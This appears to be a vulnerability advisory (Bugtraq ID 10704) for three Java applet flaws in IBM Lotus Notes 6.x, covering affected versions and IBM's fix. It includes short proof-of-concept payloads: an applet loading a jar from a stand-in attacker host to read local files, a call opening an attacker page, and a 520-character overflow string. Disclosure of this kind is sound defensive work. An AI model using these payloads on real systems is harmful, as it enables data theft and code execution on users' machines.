IBM Lotus Notes Multiple Java Applet Vulnerabilities

BID:10704

Info

IBM Lotus Notes Multiple Java Applet Vulnerabilities

Bugtraq ID: 10704
Class: Unknown
CVE: CVE-2004-2281
CVE-2004-2280
Remote: Yes
Local: No
Published: Jul 13 2004 12:00AM
Updated: Jan 02 2007 07:56PM
Credit: Discovery of these issues is credited to Jouko Pynnonen.
Vulnerable: IBM Lotus Notes 6.5.2
IBM Lotus Notes 6.5
IBM Lotus Notes 6.0.4
IBM Lotus Notes 6.0.1
IBM Lotus Notes 6.0
Not Vulnerable: IBM Lotus Notes 6.5.4
IBM Lotus Notes 6.0.5

Discussion

IBM Lotus Notes Multiple Java Applet Vulnerabilities

IBM Lotus Notes is affected by three vulnerabilities concerning Java applets.

An attacker can exploit these issues to disclose potentially sensitive information, cause a web browser to open an arbitrary web page, and cause a stack-based buffer overflow that may be exploited to execute arbitrary code.

IBM has confirmed these vulnerabilities and has stated that they are currently under investigation. IBM problem reports for these vulnerabilities are KSPR5YS6GR, KSPR62F4D3, and KSPR62F4KN.

Exploit / POC

IBM Lotus Notes Multiple Java Applet Vulnerabilities

Currently we are not aware of any exploits for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

The following proofs of concept are available:

Information disclosure:
<applet codebase="file:///" archive="http://www.attacker.tld/applet.jar" width="1" height="1"></applet>

Arbitrary browser opening:
public void init() {
getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html");
}

Stack-based buffer overflow:
<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet>

Solution / Fix

IBM Lotus Notes Multiple Java Applet Vulnerabilities

Solution:
IBM has released updates to address these issues. Please see the referenced advisory for more information.

References

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